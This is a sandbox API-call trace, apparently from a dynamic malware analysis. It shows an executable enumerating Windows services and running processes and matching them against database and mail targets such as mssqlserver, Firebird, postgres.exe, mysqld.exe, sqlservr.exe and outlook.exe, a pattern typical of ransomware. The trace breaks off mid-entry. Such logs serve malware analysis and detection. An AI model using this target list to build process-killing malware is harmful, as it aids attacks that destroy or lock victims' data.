[0161.998] lstrlenW (lpString="LanmanWorkstation") returned 17 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0161.998] lstrlenW (lpString="lmhosts") returned 7 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0161.998] lstrlenW (lpString="MMCSS") returned 5 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0161.998] lstrlenW (lpString="MpsSvc") returned 6 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0161.998] lstrlenW (lpString="Netman") returned 6 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0161.998] lstrlenW (lpString="netprofm") returned 8 [0161.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0161.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0161.998] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0161.999] lstrlenW (lpString="NlaSvc") returned 6 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0161.999] lstrlenW (lpString="nsi") returned 3 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0161.999] lstrlenW (lpString="PcaSvc") returned 6 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0161.999] lstrlenW (lpString="PlugPlay") returned 8 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0161.999] lstrlenW (lpString="Power") returned 5 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0161.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0161.999] lstrlenW (lpString="ProfSvc") returned 7 [0161.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0161.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0161.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0161.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.000] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.000] lstrlenW (lpString="RpcSs") returned 5 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.000] lstrlenW (lpString="SamSs") returned 5 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.000] lstrlenW (lpString="Schedule") returned 8 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.000] lstrlenW (lpString="SENS") returned 4 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.000] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.000] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.000] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.001] lstrlenW (lpString="Spooler") returned 7 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.001] lstrlenW (lpString="SysMain") returned 7 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.001] lstrlenW (lpString="Themes") returned 6 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.001] lstrlenW (lpString="TrkWks") returned 6 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0162.001] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0162.001] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0162.001] lstrlenW (lpString="UxSms") returned 5 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0162.001] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0162.001] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0162.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0162.001] lstrlenW (lpString="WdiServiceHost") returned 14 [0162.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0162.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0162.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0162.002] lstrlenW (lpString="WdiSystemHost") returned 13 [0162.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0162.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0162.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0162.002] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0162.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0162.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0162.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0162.002] lstrlenW (lpString="Winmgmt") returned 7 [0162.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0162.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0162.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0162.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0162.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0162.002] lstrlenW (lpString="WPDBusEnum") returned 10 [0162.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.002] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0162.002] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0162.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0162.002] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0162.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0162.004] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.005] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.005] lstrlenW (lpString="System") returned 6 [0162.005] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.005] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.006] lstrlenW (lpString="smss.exe") returned 8 [0162.006] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.006] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.006] lstrlenW (lpString="csrss.exe") returned 9 [0162.006] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.006] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.006] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.006] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.007] lstrlenW (lpString="wininit.exe") returned 11 [0162.007] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.007] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.007] lstrlenW (lpString="csrss.exe") returned 9 [0162.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.007] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.007] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.008] lstrlenW (lpString="winlogon.exe") returned 12 [0162.008] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.008] lstrlenW (lpString="services.exe") returned 12 [0162.008] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.008] lstrlenW (lpString="lsass.exe") returned 9 [0162.008] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0162.009] lstrlenW (lpString="lsm.exe") returned 7 [0162.009] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.009] lstrlenW (lpString="svchost.exe") returned 11 [0162.009] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.009] lstrlenW (lpString="svchost.exe") returned 11 [0162.009] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.010] lstrlenW (lpString="svchost.exe") returned 11 [0162.010] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.010] lstrlenW (lpString="svchost.exe") returned 11 [0162.010] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.010] lstrlenW (lpString="svchost.exe") returned 11 [0162.010] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.011] lstrlenW (lpString="audiodg.exe") returned 11 [0162.011] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.011] lstrlenW (lpString="svchost.exe") returned 11 [0162.011] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.011] lstrlenW (lpString="explorer.exe") returned 12 [0162.011] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.012] lstrlenW (lpString="dwm.exe") returned 7 [0162.012] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.012] lstrlenW (lpString="svchost.exe") returned 11 [0162.012] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0162.012] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0162.012] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.012] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0162.013] lstrlenW (lpString="reader_sl.exe") returned 13 [0162.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.013] lstrlenW (lpString="svchost.exe") returned 11 [0162.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.013] lstrlenW (lpString="taskhost.exe") returned 12 [0162.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.014] lstrlenW (lpString="dllhost.exe") returned 11 [0162.014] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.014] lstrlenW (lpString="taskhost.exe") returned 12 [0162.014] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0162.014] lstrlenW (lpString="consent.exe") returned 11 [0162.014] Process32NextW (in: hSnapshot=0x1b4, lppe=0x214fd34 | out: 